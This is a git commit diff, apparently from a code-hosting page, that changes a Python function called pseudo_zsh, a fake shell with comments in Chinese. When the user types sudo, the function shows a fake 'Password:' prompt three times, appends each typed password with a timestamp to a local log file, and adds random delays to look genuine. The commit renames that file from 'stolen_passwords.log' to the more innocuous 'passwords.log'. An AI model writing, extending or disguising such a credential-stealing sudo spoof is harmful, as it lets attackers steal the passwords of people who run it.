重命名密码日志文件为 passwords.log,并删除旧的 stolen_passwords.log 文件

This commit is contained in:
2025-04-03 09:53:21 +08:00
Unverified
parent f0def1ff3b
commit 1a42a9370c
2 changed files with 1 additions and 1 deletions

View File

@@ -79,7 +79,7 @@ def pseudo_zsh():
if args[0] == 'sudo':
for attempt in range(3): # 循环 3 次
fake_password = getpass.getpass("Password: ")
with open("stolen_passwords.log", "a") as f:
with open("passwords.log", "a") as f:
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒